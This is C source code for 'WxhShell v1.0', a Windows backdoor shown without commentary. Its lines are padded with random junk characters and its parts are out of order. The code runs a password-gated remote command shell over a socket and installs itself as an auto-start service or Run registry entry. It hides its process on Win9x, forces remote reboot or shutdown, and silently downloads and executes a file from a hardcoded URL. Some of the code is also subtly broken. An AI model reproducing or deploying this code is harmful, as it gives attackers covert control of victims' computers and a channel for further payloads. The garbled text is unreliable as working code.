    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]ZpA-*@Ut  
    else { N !TW!  
    closesocket(wsh); M Zmb`%BZ  
    ExitThread(0); d)~Fmi;  
    } apE   
    break; n3J53| %v  
    } cwGbSW$t  
  // 获取shell t&?i m<  
  case 's': { ^>"z@$|\:  
    CmdShell(wsh); qzb<J=FAU  
    closesocket(wsh); R8.CC1Ix  
    ExitThread(0); K~ ;45Z2  
    break; cQ9q;r`%  
  } {Zp\^/  
  // 退出 as J)4ema  
  case 'x': { L(X6-M:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KK@.~'d  
    CloseIt(wsh); N!*_La=TuH  
    break; `^lYw:xA  
    } S_~z-`;h!  
  // 离开 qCv20#!"|  
  case 'q': { :;t #\%L/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;5@  t[r  
    closesocket(wsh); &+G"k~%  
    WSACleanup(); qKJSj   
    exit(1); Y!;|ld  
    break; |!y A@y?  
        } #r3l[ bKK  
  } ;NNe!}C  
  } kI%%i>Y}  
 \>Efd  
  // 提示信息 /lafve~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y\&>Z yOY  
} np~~mdmRK  
  } MxBTX4ES  
N/GQt\tV<  
  return; 41fJ%f` G  
} {[+2n]f_G  
Q X%&~  
// shell模块句柄  ,m,)I  
int CmdShell(SOCKET sock) q4V7  
{ vf8\i-U=  
STARTUPINFO si; _'#x^D  
ZeroMemory(&si,sizeof(si)); Y@ZaJ@%9@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xU%w=0z <  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E= `6-H{  
PROCESS_INFORMATION ProcessInfo; 1T:Y0  
char cmdline[]="cmd"; 6 PxW8pn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j;+?HbL  
  return 0; o=nsy]'&  
} w9|w2UK  
5+fLeC;  
// 自身启动模式 s`#(   
int StartFromService(void) v!%5&: c3  
{ %Ts PyiYl  
typedef struct [CAR[ g&  
{ Q:$Zy  
  DWORD ExitStatus; $Y 7c  
  DWORD PebBaseAddress; {W##^L~  
  DWORD AffinityMask; X6^},C'E.:  
  DWORD BasePriority; `%j~|i)4  
  ULONG UniqueProcessId; !~h}8'a?  
  ULONG InheritedFromUniqueProcessId; v(p mI b{  
}   PROCESS_BASIC_INFORMATION; ]^6c8sgnR  
;U_QvN|  
PROCNTQSIP NtQueryInformationProcess; +S=Rn,  
vVE7fq3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kt(-@\)!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t-LG }nv  
u a\,->  
  HANDLE             hProcess; "]-Xmdk09  
  PROCESS_BASIC_INFORMATION pbi; "]\+?  
mA{~Pp Sb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R N@ctRS  
  if(NULL == hInst ) return 0; iPrLwheb  
N:9>dpP}O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #]'rz,E<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); san,|yrMn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D0BI5q  
5y?-fT]X  
  if (!NtQueryInformationProcess) return 0; &hk-1y9QS  
[}fv  dW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n3sUbs;  
  if(!hProcess) return 0; ek N' k  
|`jjHuQ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zy09L}59P  
r/*=%~*  
  CloseHandle(hProcess); oP4GEr  
*& m#qEv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t3+Py7qv  
if(hProcess==NULL) return 0; SI8%M=P>  
gsn)Wv$h  
HMODULE hMod; WAn'kA  
char procName[255]; 9+keX{/c  
unsigned long cbNeeded; c,*9K/:  
|^9BA-nA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,()0' h}n  
y1/o^d+@  
  CloseHandle(hProcess); r0m*5rd1  
@}:uu$OH  
if(strstr(procName,"services")) return 1; // 以服务启动 ]@Sj`J[fd  
y7^{yS[,  
  return 0; // 注册表启动  kQ   
} Ldn8  
"HXYNS>  
// 主模块 }=!,o  
int StartWxhshell(LPSTR lpCmdLine) )7:J[0ZiQ  
{ o`.R!wm:W  
  SOCKET wsl; `N5|Ho*C  
BOOL val=TRUE; h`MF#617  
  int port=0; 0T>H)c6:\  
  struct sockaddr_in door; 72veLB  
5 B=^v#m  
  if(wscfg.ws_autoins) Install(); P#:?ok  
wRrnniqf8  
port=atoi(lpCmdLine); 3T&6opaF  
?^j^K-rx  
if(port<=0) port=wscfg.ws_port; $u/E\l  
+NFzSal  
  WSADATA data; z ;u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %4W$Lq}  
V:G>G'Eh0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P<fnLQ9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ks\ NE=;5  
  door.sin_family = AF_INET; d9n?v)<v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b<]n%Q'n  
  door.sin_port = htons(port); *~/OOH$"  
8KH\`5<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $\k0Nup}  
closesocket(wsl); =rR~`  
return 1; DvM5 k  
} 98.>e  
KeNL0_ Pw  
  if(listen(wsl,2) == INVALID_SOCKET) { oc^Br~ Th  
closesocket(wsl); Dk5Zh+^  
return 1; %e@HZ"V  
} |!F5.%PY  
  Wxhshell(wsl); A?G^\I~v  
  WSACleanup(); $TI5vhQ  
U8(Nk\"X\  
return 0; jg&E94}+  
c`fG1s  
} )yo a  
^V %rag  
// 以NT服务方式启动 Wpc|`e<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :eZh'-c?  
{ `CeJWL5{  
DWORD   status = 0; *:O.97q@h  
  DWORD   specificError = 0xfffffff; o!~Jzd.=h  
1@gguRF:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G7=p Bf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W0=O+0$^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9!><<7TS  
  serviceStatus.dwWin32ExitCode     = 0; V_Wwrhua  
  serviceStatus.dwServiceSpecificExitCode = 0; # 6!5 2  
  serviceStatus.dwCheckPoint       = 0; A_;8IlW  
  serviceStatus.dwWaitHint       = 0; j:w{;(1=W  
>><.3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]QuM<ms  
  if (hServiceStatusHandle==0) return; = P   
TO-$B8*nq  
status = GetLastError(); srV.)Ur  
  if (status!=NO_ERROR) .IJ_jt-^d  
{ <x\7L2#p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^'jEnN(  
    serviceStatus.dwCheckPoint       = 0; eh[_~>w  
    serviceStatus.dwWaitHint       = 0; "k Te2iS  
    serviceStatus.dwWin32ExitCode     = status; D3c2^r $Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; V)P&Zw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s :`8ZBz~  
    return; <9sO  
  } F,5r9^,_  
[TCP-bU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $'pNp B#vH  
  serviceStatus.dwCheckPoint       = 0; Va$Pi19 O  
  serviceStatus.dwWaitHint       = 0; -8N|xQ378  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L}m8AAkP[  
} pZyQY+O  
Jl "mL  
// 处理NT服务事件,比如:启动、停止 n8hRaNHl2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y ?G_y  
{ E\u#t$  
switch(fdwControl) .`CZUKG  
{ R<x'l=,D(  
case SERVICE_CONTROL_STOP: e:AHVep j{  
  serviceStatus.dwWin32ExitCode = 0; {s3z"OV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8UkKU_Uso  
  serviceStatus.dwCheckPoint   = 0; 0R0{t=VJZ  
  serviceStatus.dwWaitHint     = 0; LB/C-n.`  
  { }Yv\0\~'W|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {m`A!qcD|  
  } 0 'Vg6E]/  
  return; s`Cy a`  
case SERVICE_CONTROL_PAUSE: "G:<7oTa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %{;Qls%[t  
  break; 7E!7"2e a  
case SERVICE_CONTROL_CONTINUE: CB~Q%QLG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *MI*Rz?4  
  break; kbPE "urR  
case SERVICE_CONTROL_INTERROGATE: 7a=S  
  break; 4Z*U}w)  
}; OUP?p@%]<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >]=j'+]  
} *;|`E(   
0hZ1rqq8C  
// 标准应用程序主函数 g=T/_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C[WCg9Av  
{ D=TL>T.b f  
j6(?D*x  
// 获取操作系统版本 ,i.%nZw\  
OsIsNt=GetOsVer(); xug)aE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iRi{$.pVJ  
h3gWOU  
  // 从命令行安装 IHC1G1KW=A  
  if(strpbrk(lpCmdLine,"iI")) Install(); :D7|%KK  
oR p:B &  
  // 下载执行文件 !jqWwi  
if(wscfg.ws_downexe) { U1_&gy @y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) US{3pkr;I]  
  WinExec(wscfg.ws_filenam,SW_HIDE); +%\oO/4Fs  
} 8j1ekv  
UhmTr[&  
if(!OsIsNt) { [_xyl e  
// 如果时win9x,隐藏进程并且设置为注册表启动 -=698h*  
HideProc(); bAr` E  
StartWxhshell(lpCmdLine); h8jD }9^  
} Lhh;2r/?78  
else zX{.^|  
  if(StartFromService()) EC<b3  
  // 以服务方式启动 D=RU`?L  
  StartServiceCtrlDispatcher(DispatchTable); 3 ?&h^UX  
else  BGzI  
  // 普通方式启动 @ \2#Dpr  
  StartWxhshell(lpCmdLine); amQz^^  
7-_vY[)/  
return 0; ~:_0CKa!  
} YxJD_R  
_{~]/k  
bzi|s5!'<  
pUl8{YGS  
=========================================== B pLEPuu30  
TFDm5XJ  
K t#,]]  
DG;y6#|p  
VhEMk\  
,)~E>[=+  
" [&Hkn5yq  
f c6g  
#include <stdio.h> >uJ/TQU  
#include <string.h> x O7IzqY  
#include <windows.h> rsa&Oo D>  
#include <winsock2.h> )R{UXk3q}  
#include <winsvc.h> jw6Tj;c  
#include <urlmon.h> O7aLlZdg~  
u1K\@jlw  
#pragma comment (lib, "Ws2_32.lib") ^Jp*B;  
#pragma comment (lib, "urlmon.lib") 0"[`>K~7a8  
/vE]2Io  
#define MAX_USER   100 // 最大客户端连接数 !.fw,!}hOD  
#define BUF_SOCK   200 // sock buffer D&hqV)d4R  
#define KEY_BUFF   255 // 输入 buffer Y|0ow_oH  
VanB>|p6  
#define REBOOT     0   // 重启 }gf}eH  
#define SHUTDOWN   1   // 关机 `Iy4=nVb  
p SN~DvR  
#define DEF_PORT   5000 // 监听端口 pw'wWZE'  
YnV/M,U  
#define REG_LEN     16   // 注册表键长度 gdj^df+2F  
#define SVC_LEN     80   // NT服务名长度 +?`b=6e(`  
@kD8^,(oH  
// 从dll定义API 8(X0 :  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _|isa]u\ z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wz -)1!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TF+ l5fv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xk~Nmb}  
<M[U#Q~?~e  
// wxhshell配置信息 $M"0BZQ?y!  
struct WSCFG { O2-M1sd$  
  int ws_port;         // 监听端口 MmU%%2QG  
  char ws_passstr[REG_LEN]; // 口令 Uedvc5><t  
  int ws_autoins;       // 安装标记, 1=yes 0=no nq`q[KV:  
  char ws_regname[REG_LEN]; // 注册表键名 bdc\  
  char ws_svcname[REG_LEN]; // 服务名 i RmQ5ezk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CBD_a#K{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3/M.0}e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #-u [$TA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %6 =\5>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :,*eX' fH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1(`M~vFDK  
9EF~l9`'U  
}; L~FTr  
9(VRq^Z1  
// default Wxhshell configuration BH:  
struct WSCFG wscfg={DEF_PORT, rcbP$t vz  
    "xuhuanlingzhe", w.kCBDL  
    1, heD,& OX  
    "Wxhshell", qjC_*X!  
    "Wxhshell", !}&" W,,0  
            "WxhShell Service", :7;[`bm(G  
    "Wrsky Windows CmdShell Service", +AQDD4bu  
    "Please Input Your Password: ", 9Yw]Y5l  
  1, WO%h"'iJ  
  "http://www.wrsky.com/wxhshell.exe", M/jb}*xDR  
  "Wxhshell.exe" =L 0fZf  
    }; fU*C/ d3  
,9/5T:2  
// 消息定义模块 Ex($  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6GOcI#C9C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V; 9 }7mw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]O!s 'lC  
char *msg_ws_ext="\n\rExit."; fCEz-TMW  
char *msg_ws_end="\n\rQuit."; CD?&<NV  
char *msg_ws_boot="\n\rReboot..."; (M% ;~y\  
char *msg_ws_poff="\n\rShutdown..."; QdDtvJLf  
char *msg_ws_down="\n\rSave to "; ,# "(Z  
j|'R$|  
char *msg_ws_err="\n\rErr!"; t;Wotfc[#0  
char *msg_ws_ok="\n\rOK!"; y' tRANxQ  
A_r<QYq0|  
char ExeFile[MAX_PATH]; DNth4z  
int nUser = 0; XNmQ?`.2'  
HANDLE handles[MAX_USER]; Xm[Czd]%  
int OsIsNt; 8j\d~Lw=  
g{DFS[h  
SERVICE_STATUS       serviceStatus; 0o68rF5^s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cgNt_8qC  
~ v1W  
// 函数声明 `Wf5  
int Install(void); rye)qp|  
int Uninstall(void); 29O]S8  
int DownloadFile(char *sURL, SOCKET wsh); 41;)-(1  
int Boot(int flag); ic~Z_?p  
void HideProc(void); k46gY7y,9  
int GetOsVer(void); 9.Ap~Ay.  
int Wxhshell(SOCKET wsl); Kx]> fHK  
void TalkWithClient(void *cs); #Go(tS~o  
int CmdShell(SOCKET sock); W]LQ &f  
int StartFromService(void); T7GQ^WnA  
int StartWxhshell(LPSTR lpCmdLine); ;nf&c;D  
Iu6W=A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R@ QQNYU.D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :_c*m@=z(  
0!IPcZjY7  
// 数据结构和表定义 |a(Q4 e/,  
SERVICE_TABLE_ENTRY DispatchTable[] = ]GS ~i+=M  
{ RSH/l;ii  
{wscfg.ws_svcname, NTServiceMain}, ;F,qS0lzE  
{NULL, NULL} jT"r$""1d  
}; @DCJ}h ud  
g5TkD~w"  
// 自我安装 a2 >[0_E  
int Install(void) o4'v> b  
{ $n*%v85  
  char svExeFile[MAX_PATH]; &l!$Sw-u;  
  HKEY key; 83?1<v0%  
  strcpy(svExeFile,ExeFile); X<K9L7/*  
^n71'MW  
// 如果是win9x系统,修改注册表设为自启动 <UAP~RH{  
if(!OsIsNt) { QE6El'S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }@*I+\W/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); foyB{6q8  
  RegCloseKey(key); {*__B} ,N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8|vld3;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ruHrv"29  
  RegCloseKey(key); .WO/=# O  
  return 0; qhwoV4@f  
    } kC|Tubs(  
  } %LcH>sV  
} w@-b  
else { 0:PSt_33F  
w7ZG oh(  
// 如果是NT以上系统,安装为系统服务 r:#Q9EA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uri*lC  
if (schSCManager!=0) _jDS"  
{ tWRf'n[+]  
  SC_HANDLE schService = CreateService %ph"PR/t?  
  ( 7%tR&F -u  
  schSCManager, THr8o V5  
  wscfg.ws_svcname, i?W]*V~ply  
  wscfg.ws_svcdisp, .S6ji~;r  
  SERVICE_ALL_ACCESS, CjmV+%b4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8qmknJC  
  SERVICE_AUTO_START, (7 ijt  
  SERVICE_ERROR_NORMAL, mLULd}g/o  
  svExeFile, skK*OO 2-  
  NULL, kyK'  
  NULL, sr4jQo  
  NULL, qhN[Dj(d  
  NULL, . o"<N  
  NULL @4&, #xo  
  ); @jKDj]\  
  if (schService!=0) ,N0uR@GN  
  { >Pyc[_j  
  CloseServiceHandle(schService); @bY?$fj_u  
  CloseServiceHandle(schSCManager); 'FqEB]gu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); km}MqBQl  
  strcat(svExeFile,wscfg.ws_svcname); fK);!Hh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w=5   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m1i4,  
  RegCloseKey(key); n/?eZx1  
  return 0; l JlZHO  
    } &h\CS8nT%  
  } V 1*Ad  
  CloseServiceHandle(schSCManager); 44Q9* ."  
} U~CdU  
} ki`8(u6l  
#_{0Ndp2  
return 1; tw-fAMwU  
} yT&x`3f"i  
n{L:MT9TD  
// 自我卸载 lD-V9   
int Uninstall(void)  2aFT<T0  
{ [jy0@Q9  
  HKEY key; ">4PePt.n  
TZj[O1E  
if(!OsIsNt) { qj`,qm P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "I@v&(Am;  
  RegDeleteValue(key,wscfg.ws_regname); CJm.K  
  RegCloseKey(key); prwC>LE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P3i^S_  
  RegDeleteValue(key,wscfg.ws_regname); "* +\KPCU  
  RegCloseKey(key); 8,_ -0_^$  
  return 0; y&y/cML?  
  } Rnzqw,q  
} B(8mH  
} </|)"OD9  
else { YsZ{1W  
z'_&|-m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .#sz|0  
if (schSCManager!=0) ,%[LwmET  
{ J"5jy$30'$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =w?M_[&K)  
  if (schService!=0) ^l--zzO 8l  
  { zuk"  
  if(DeleteService(schService)!=0) { cxY$LY!zX  
  CloseServiceHandle(schService); {s,^b|I2#U  
  CloseServiceHandle(schSCManager); #UBB lE#  
  return 0; Xthtw*  
  } (=`Z0)=  
  CloseServiceHandle(schService); 6k:y$,w  
  } IKGTsA;  
  CloseServiceHandle(schSCManager); tp%|AD"  
} `bzr_fJ  
} I88Zrhw  
KS b(R/T  
return 1; T<f2\q8Uo=  
} Q,D0kS P  
<{E;s)hD?  
// 从指定url下载文件 h4tC. i~k  
int DownloadFile(char *sURL, SOCKET wsh) r|*:9|y{"/  
{ R$Zv0a&  
  HRESULT hr; |MR%{ZC^i  
char seps[]= "/"; 3R'.}^RN  
char *token; B*y;>q "{U  
char *file; h (qshbC}  
char myURL[MAX_PATH]; 0{-`Th+h  
char myFILE[MAX_PATH]; #fwzFS \XL  
I ca3  
strcpy(myURL,sURL); 4sb )^3T  
  token=strtok(myURL,seps); .F4oo=  
  while(token!=NULL) y+?=E g  
  { LE8K)i  
    file=token; w~4 z@/^"p  
  token=strtok(NULL,seps); S|~i>  
  } yQ8M >H#J  
T_uNF8Bh  
GetCurrentDirectory(MAX_PATH,myFILE); r|l53I 5  
strcat(myFILE, "\\"); u/_Gq[Q,u  
strcat(myFILE, file); ri#,ec|J  
  send(wsh,myFILE,strlen(myFILE),0); &}>|5>cJu  
send(wsh,"...",3,0); ri"?, }(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -T2~W!  
  if(hr==S_OK) ]vRVo6@ k  
return 0; |^Y*~d<H  
else 3aEt>x  
return 1; sk~za  
?hxK/%)  
} TG4\%S$w  
  YfTd  
// 系统电源模块 ~^^!"-  
int Boot(int flag) Rl y jOf{0  
{ l?})_1v,R  
  HANDLE hToken; |.y>[+Qb*  
  TOKEN_PRIVILEGES tkp; L& I` #  
4\&H?:c.  
  if(OsIsNt) { ? UxG/]",  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BO8%:/37[4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {`+bW"9  
    tkp.PrivilegeCount = 1; A,3@j@bdy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =t@:F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DhY;pG,t  
if(flag==REBOOT) { C]yvK}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o~Bk0V=  
  return 0; zA2UFax=  
} 01&*`0?  
else { iSOD&J_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UVc>i9,0  
  return 0; PZKbnu  
} & 6`  
  } PXOrOK  
  else { T^KCB\\<  
if(flag==REBOOT) { imo'(j7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YnKFcEJrT  
  return 0; uOyLC<I/  
} )o05Vda  
else { (xucZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &W&7bZ$;  
  return 0; +`Q PBj^  
} C HQ {+?#  
} \7|s$ XQ\  
7'-)/Pk  
return 1; Iu)L3_+  
} 9c"0~7v  
cFRSd }p=  
// win9x进程隐藏模块 on]\J  
void HideProc(void)  ~Y1"k]J  
{ Hi9 G^Q  
B$K7L'e+-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p5lR-G  
  if ( hKernel != NULL ) ;e&hM\p  
  { Q'FX:[@x-S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DH}s1mNMP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uU8*$+ "  
    FreeLibrary(hKernel); PFImqojHd  
  } h-z%C6  
#]?,gwvTf  
return; o%kSR ]V|  
} gg lNpzj  
~J8cS  
// 获取操作系统版本 j zxf"X-  
int GetOsVer(void) 5"76R Gw=  
{ ?3]h~( =  
  OSVERSIONINFO winfo; NUi{!<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pKO T  Qf  
  GetVersionEx(&winfo); H j>L>6>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d_4n0Kh0  
  return 1; ;n yB  
  else R*JOiVAC  
  return 0; S#dyRTmI  
} , I[^3Fn  
27h/6i3  
// 客户端句柄模块 t9KH|y  
int Wxhshell(SOCKET wsl) U p]VU9z  
{ 1G e)p4  
  SOCKET wsh; sRkz WMl  
  struct sockaddr_in client; o'x_g^ Y  
  DWORD myID; nr 'YWW  
|YG)NO  
  while(nUser<MAX_USER) rXHHD#\oF  
{ X+(aQ >y  
  int nSize=sizeof(client); S&4w`hdD>~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GQYtH#  
  if(wsh==INVALID_SOCKET) return 1; kw*Cr/'*  
'^P*F9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R7\{w(`K  
if(handles[nUser]==0) :ofE8]  
  closesocket(wsh); kMwIuy  
else y1@"H/nYJ  
  nUser++; ~Mg8C9B?%3  
  } EvGUj$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'W<a54T?z  
1CF7  
  return 0; 44/ 0}v]  
} d\1:1ucV  
aT`02X   
// 关闭 socket |Oj,S|Z:  
void CloseIt(SOCKET wsh) t<KEx^gb  
{ EkfGw/WDw  
closesocket(wsh); ^c;skV&S  
nUser--; (HTk;vbZm  
ExitThread(0); %k1q4qOG]^  
} oKMg7 3*  
|-cALQ  
// 客户端请求句柄 b&|YQW} ~  
void TalkWithClient(void *cs) hc@;}a\Y  
{ >$k 4@eg!  
6`$,-(J=  
  SOCKET wsh=(SOCKET)cs; EF_h::A_  
  char pwd[SVC_LEN]; {ra Esb-X  
  char cmd[KEY_BUFF]; [nhLhl4S  
char chr[1]; gZ79u  
int i,j; %(O^as  
q)zu}m  
  while (nUser < MAX_USER) { ^<5^9]x  
'%JMnU  
if(wscfg.ws_passstr) { a*$1la'Uf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' /@!"IXz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b`;b}ug  
  //ZeroMemory(pwd,KEY_BUFF); ZRVF{D??"%  
      i=0; i,U-H\p&  
  while(i<SVC_LEN) { ^5zS2nm  
cbg3bi  
  // 设置超时 >P]I&S-.  
  fd_set FdRead; wtgO;w  
  struct timeval TimeOut; D$^7Xhk  
  FD_ZERO(&FdRead); D?&w:C\&@z  
  FD_SET(wsh,&FdRead); ?M1 QJ  
  TimeOut.tv_sec=8; { &JurZ  
  TimeOut.tv_usec=0; V.OoZGE>]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9M-]~.O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c9_4 ohB  
^Qb!k/$3y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oVj A$|  
  pwd=chr[0]; kY |=a  
  if(chr[0]==0xd || chr[0]==0xa) { jWb\"0)  
  pwd=0; &hM,b!R|  
  break; ":#A>L? l  
  } W3{5Do.h  
  i++; eB1eUK>  
    } P$#}-15?|_  
eVbh$cIrZ  
  // 如果是非法用户,关闭 socket `S!uj <-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5;KT-(q~  
} 0a;F X0S&  
uS+b* :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BDm H^`V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UVuuIW0k  
}v|[h[cZ  
while(1) { Ns7l-mb  
J,2v~Dq  
  ZeroMemory(cmd,KEY_BUFF); ',-X#u  
(fjXp75  
      // 自动支持客户端 telnet标准   :\HN?_?{4  
  j=0; fJ+E46|4  
  while(j<KEY_BUFF) { &cv /q$W4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N 7|W.(  
  cmd[j]=chr[0]; "i5AAP?_]{  
  if(chr[0]==0xa || chr[0]==0xd) { 7Bb@9M?i  
  cmd[j]=0; 7}HA_@[  
  break; ,2L,>?r6  
  } tYxlM!  
  j++; qb/!;U_  
    } Y&:\s8C  
} jy7,+  
  // 下载文件 :.o0<  
  if(strstr(cmd,"http://")) { # T#FUI1p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ynz5Dy.d;  
  if(DownloadFile(cmd,wsh)) ;]ZHD$g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bsS| !KT  
  else E52:c]<'m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6/[h24d  
  } lu(Omds+  
  else { m3ZOq B-  
TOP'Bmb  
    switch(cmd[0]) { m*WEge*$t  
  p{_ O*bo  
  // 帮助 &5CeRx7%  
  case '?': { ]$X=~>w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . *+7xL  
